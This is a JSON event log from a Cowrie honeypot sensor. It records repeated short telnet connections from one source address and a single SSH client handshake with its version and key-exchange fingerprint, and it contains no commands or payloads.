{"eventid":"cowrie.session.closed","duration":32.42656850814819,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:48.268308Z","src_ip":"51.161.172.108","session":"17ed476d07c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53472,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ea27edfce5e","protocol":"telnet","message":"New connection: 51.161.172.108:53472 (159.203.135.109:23) [session: 3ea27edfce5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:48.348673Z"}
{"eventid":"cowrie.session.closed","duration":31.626609086990356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:48.471135Z","src_ip":"51.161.172.108","session":"710bcfcda7b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53484,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbff543028a1","protocol":"telnet","message":"New connection: 51.161.172.108:53484 (159.203.135.109:23) [session: dbff543028a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:48.490536Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53488,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0285e569d52","protocol":"telnet","message":"New connection: 51.161.172.108:53488 (159.203.135.109:23) [session: f0285e569d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:48.531444Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53498,"dst_ip":"159.203.135.109","dst_port":23,"session":"7462ce96418f","protocol":"telnet","message":"New connection: 51.161.172.108:53498 (159.203.135.109:23) [session: 7462ce96418f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:48.618436Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53524,"dst_ip":"159.203.135.109","dst_port":23,"session":"5341df3cb627","protocol":"telnet","message":"New connection: 51.161.172.108:53524 (159.203.135.109:23) [session: 5341df3cb627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:48.972257Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":53456,"dst_ip":"159.203.135.109","dst_port":23,"session":"3420ea52906d","protocol":"telnet","message":"New connection: 51.161.172.108:53456 (159.203.135.109:23) [session: 3420ea52906d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:49.107604Z"}
{"eventid":"cowrie.session.closed","duration":31.374739408493042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:49.113512Z","src_ip":"51.161.172.108","session":"8e3b27dd5058","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.521124124526978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:49.132617Z","src_ip":"51.161.172.108","session":"5cdb16a28dbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.778236389160156,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:49.231025Z","src_ip":"51.161.172.108","session":"36cae7265d06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46776,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ae759062df9","protocol":"telnet","message":"New connection: 51.161.172.108:46776 (159.203.135.109:23) [session: 7ae759062df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:49.308747Z"}
{"eventid":"cowrie.session.closed","duration":31.734822034835815,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:49.314565Z","src_ip":"51.161.172.108","session":"788e62b522a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39185070991516,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:49.317735Z","src_ip":"51.161.172.108","session":"eac5d94566ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46772,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f55b6f40382","protocol":"telnet","message":"New connection: 51.161.172.108:46772 (159.203.135.109:23) [session: 0f55b6f40382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:49.337648Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46794,"dst_ip":"159.203.135.109","dst_port":23,"session":"518e1ad97dae","protocol":"telnet","message":"New connection: 51.161.172.108:46794 (159.203.135.109:23) [session: 518e1ad97dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:49.456391Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46798,"dst_ip":"159.203.135.109","dst_port":23,"session":"4882a939a233","protocol":"telnet","message":"New connection: 51.161.172.108:46798 (159.203.135.109:23) [session: 4882a939a233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:49.593646Z"}
{"eventid":"cowrie.session.closed","duration":31.569920301437378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:49.698793Z","src_ip":"51.161.172.108","session":"5c3eaffa0f03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46804,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb2415ecfbd4","protocol":"telnet","message":"New connection: 51.161.172.108:46804 (159.203.135.109:23) [session: fb2415ecfbd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:49.875574Z"}
{"eventid":"cowrie.session.closed","duration":32.01116347312927,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:49.918076Z","src_ip":"51.161.172.108","session":"c6c114c38801","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.78045415878296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:50.086072Z","src_ip":"51.161.172.108","session":"5d966e784feb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45305037498474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:50.164236Z","src_ip":"51.161.172.108","session":"169c92905ce7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4060697555542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:50.195155Z","src_ip":"51.161.172.108","session":"459033bbd0e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46822,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a1ecb8a48bf","protocol":"telnet","message":"New connection: 51.161.172.108:46822 (159.203.135.109:23) [session: 3a1ecb8a48bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:50.343125Z"}
{"eventid":"cowrie.session.closed","duration":31.395791053771973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:50.354193Z","src_ip":"51.161.172.108","session":"f8789c11da76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.428622007369995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:50.494707Z","src_ip":"51.161.172.108","session":"f3de793b106b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46824,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac9bd5b69f17","protocol":"telnet","message":"New connection: 51.161.172.108:46824 (159.203.135.109:23) [session: ac9bd5b69f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:50.501137Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46846,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5375d1d8e6b","protocol":"telnet","message":"New connection: 51.161.172.108:46846 (159.203.135.109:23) [session: d5375d1d8e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:50.618731Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46848,"dst_ip":"159.203.135.109","dst_port":23,"session":"49fe03c7172d","protocol":"telnet","message":"New connection: 51.161.172.108:46848 (159.203.135.109:23) [session: 49fe03c7172d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:50.665078Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46856,"dst_ip":"159.203.135.109","dst_port":23,"session":"2977fb0216d4","protocol":"telnet","message":"New connection: 51.161.172.108:46856 (159.203.135.109:23) [session: 2977fb0216d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:50.689802Z"}
{"eventid":"cowrie.session.closed","duration":31.26371955871582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:50.694565Z","src_ip":"51.161.172.108","session":"f9e2c950693b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46862,"dst_ip":"159.203.135.109","dst_port":23,"session":"a20a9948fc9e","protocol":"telnet","message":"New connection: 51.161.172.108:46862 (159.203.135.109:23) [session: a20a9948fc9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:50.812328Z"}
{"eventid":"cowrie.session.closed","duration":33.59981608390808,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:50.926666Z","src_ip":"51.161.172.108","session":"1e8d07a05fd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46880,"dst_ip":"159.203.135.109","dst_port":23,"session":"54db5daa3e00","protocol":"telnet","message":"New connection: 51.161.172.108:46880 (159.203.135.109:23) [session: 54db5daa3e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:51.048753Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46888,"dst_ip":"159.203.135.109","dst_port":23,"session":"95457b432633","protocol":"telnet","message":"New connection: 51.161.172.108:46888 (159.203.135.109:23) [session: 95457b432633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:51.192031Z"}
{"eventid":"cowrie.session.closed","duration":30.647722482681274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:51.319025Z","src_ip":"51.161.172.108","session":"9a5b3d762f25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.44653582572937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:51.390548Z","src_ip":"51.161.172.108","session":"112a0621ac1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72269296646118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:51.402029Z","src_ip":"51.161.172.108","session":"643815214f73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46890,"dst_ip":"159.203.135.109","dst_port":23,"session":"a81536c526e5","protocol":"telnet","message":"New connection: 51.161.172.108:46890 (159.203.135.109:23) [session: a81536c526e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:51.460274Z"}
{"eventid":"cowrie.session.closed","duration":30.878892421722412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:51.545429Z","src_ip":"51.161.172.108","session":"c899c84e90c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46904,"dst_ip":"159.203.135.109","dst_port":23,"session":"88213657223c","protocol":"telnet","message":"New connection: 51.161.172.108:46904 (159.203.135.109:23) [session: 88213657223c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:51.662637Z"}
{"eventid":"cowrie.session.closed","duration":31.405139207839966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:51.880733Z","src_ip":"51.161.172.108","session":"f54a636e8b6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46908,"dst_ip":"159.203.135.109","dst_port":23,"session":"630c6551412e","protocol":"telnet","message":"New connection: 51.161.172.108:46908 (159.203.135.109:23) [session: 630c6551412e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:52.000638Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46910,"dst_ip":"159.203.135.109","dst_port":23,"session":"042872e72df4","protocol":"telnet","message":"New connection: 51.161.172.108:46910 (159.203.135.109:23) [session: 042872e72df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:52.004505Z"}
{"eventid":"cowrie.session.closed","duration":31.445816040039062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:52.210543Z","src_ip":"51.161.172.108","session":"f6fe2716ee35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.426772117614746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:52.321030Z","src_ip":"51.161.172.108","session":"74a16f14e38e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76210618019104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:52.332760Z","src_ip":"51.161.172.108","session":"e434078dac24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82070517539978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:52.418284Z","src_ip":"51.161.172.108","session":"0d73d4833f99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.120078325271606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:52.499452Z","src_ip":"51.161.172.108","session":"d3a35880a163","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85448431968689,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:52.550990Z","src_ip":"51.161.172.108","session":"efcbad51178e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56044840812683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:52.677155Z","src_ip":"51.161.172.108","session":"ffd094a138a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.295449256896973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:52.720854Z","src_ip":"51.161.172.108","session":"8d4ec3ffc1c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46924,"dst_ip":"159.203.135.109","dst_port":23,"session":"219e8899628e","protocol":"telnet","message":"New connection: 51.161.172.108:46924 (159.203.135.109:23) [session: 219e8899628e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:52.813586Z"}
{"eventid":"cowrie.session.closed","duration":31.635530710220337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:52.864420Z","src_ip":"51.161.172.108","session":"b85870a44e0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46928,"dst_ip":"159.203.135.109","dst_port":23,"session":"2891d1b44435","protocol":"telnet","message":"New connection: 51.161.172.108:46928 (159.203.135.109:23) [session: 2891d1b44435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:53.009685Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46944,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bfd7670c125","protocol":"telnet","message":"New connection: 51.161.172.108:46944 (159.203.135.109:23) [session: 2bfd7670c125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:53.094163Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46956,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b96baff22fa","protocol":"telnet","message":"New connection: 51.161.172.108:46956 (159.203.135.109:23) [session: 9b96baff22fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:53.204265Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46960,"dst_ip":"159.203.135.109","dst_port":23,"session":"4597af7b3bd1","protocol":"telnet","message":"New connection: 51.161.172.108:46960 (159.203.135.109:23) [session: 4597af7b3bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:53.344401Z"}
{"eventid":"cowrie.session.closed","duration":30.546777963638306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:53.348669Z","src_ip":"51.161.172.108","session":"021d652188a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.454134941101074,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:53.354228Z","src_ip":"51.161.172.108","session":"58eb5e360732","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.001872777938843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:53.453818Z","src_ip":"51.161.172.108","session":"5aadd3758f78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.311776399612427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:53.569527Z","src_ip":"51.161.172.108","session":"01177adaf5d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46962,"dst_ip":"159.203.135.109","dst_port":23,"session":"40f8a078fd94","protocol":"telnet","message":"New connection: 51.161.172.108:46962 (159.203.135.109:23) [session: 40f8a078fd94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:53.630472Z"}
{"eventid":"cowrie.session.closed","duration":31.613264083862305,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:53.710434Z","src_ip":"51.161.172.108","session":"8b2604ab4124","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46976,"dst_ip":"159.203.135.109","dst_port":23,"session":"03dd34af21f7","protocol":"telnet","message":"New connection: 51.161.172.108:46976 (159.203.135.109:23) [session: 03dd34af21f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:53.778664Z"}
{"eventid":"cowrie.session.closed","duration":31.854265928268433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:53.859355Z","src_ip":"51.161.172.108","session":"059eab7caeaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46982,"dst_ip":"159.203.135.109","dst_port":23,"session":"184295e0e0c1","protocol":"telnet","message":"New connection: 51.161.172.108:46982 (159.203.135.109:23) [session: 184295e0e0c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:53.880240Z"}
{"eventid":"cowrie.session.closed","duration":33.054617166519165,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:53.999589Z","src_ip":"51.161.172.108","session":"c7555ac63471","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46992,"dst_ip":"159.203.135.109","dst_port":23,"session":"78cd0cb03d9a","protocol":"telnet","message":"New connection: 51.161.172.108:46992 (159.203.135.109:23) [session: 78cd0cb03d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:54.080888Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46996,"dst_ip":"159.203.135.109","dst_port":23,"session":"b363f977e485","protocol":"telnet","message":"New connection: 51.161.172.108:46996 (159.203.135.109:23) [session: b363f977e485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:54.231534Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":59192,"dst_ip":"10.17.0.5","dst_port":22,"session":"2969a9bb858e","protocol":"ssh","message":"New connection: 190.108.60.101:59192 (10.17.0.5:22) [session: 2969a9bb858e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:54.249462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:54.253864Z","src_ip":"190.108.60.101","session":"2969a9bb858e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.723267793655396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:54.390827Z","src_ip":"51.161.172.108","session":"e2c23a982ef0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47014,"dst_ip":"159.203.135.109","dst_port":23,"session":"583c9d20bb19","protocol":"telnet","message":"New connection: 51.161.172.108:47014 (159.203.135.109:23) [session: 583c9d20bb19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:54.418857Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47020,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3bc492d8fba","protocol":"telnet","message":"New connection: 51.161.172.108:47020 (159.203.135.109:23) [session: e3bc492d8fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:54.428043Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:54.440730Z","src_ip":"190.108.60.101","session":"2969a9bb858e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47030,"dst_ip":"159.203.135.109","dst_port":23,"session":"45687cac7aa5","protocol":"telnet","message":"New connection: 51.161.172.108:47030 (159.203.135.109:23) [session: 45687cac7aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:54.669125Z"}
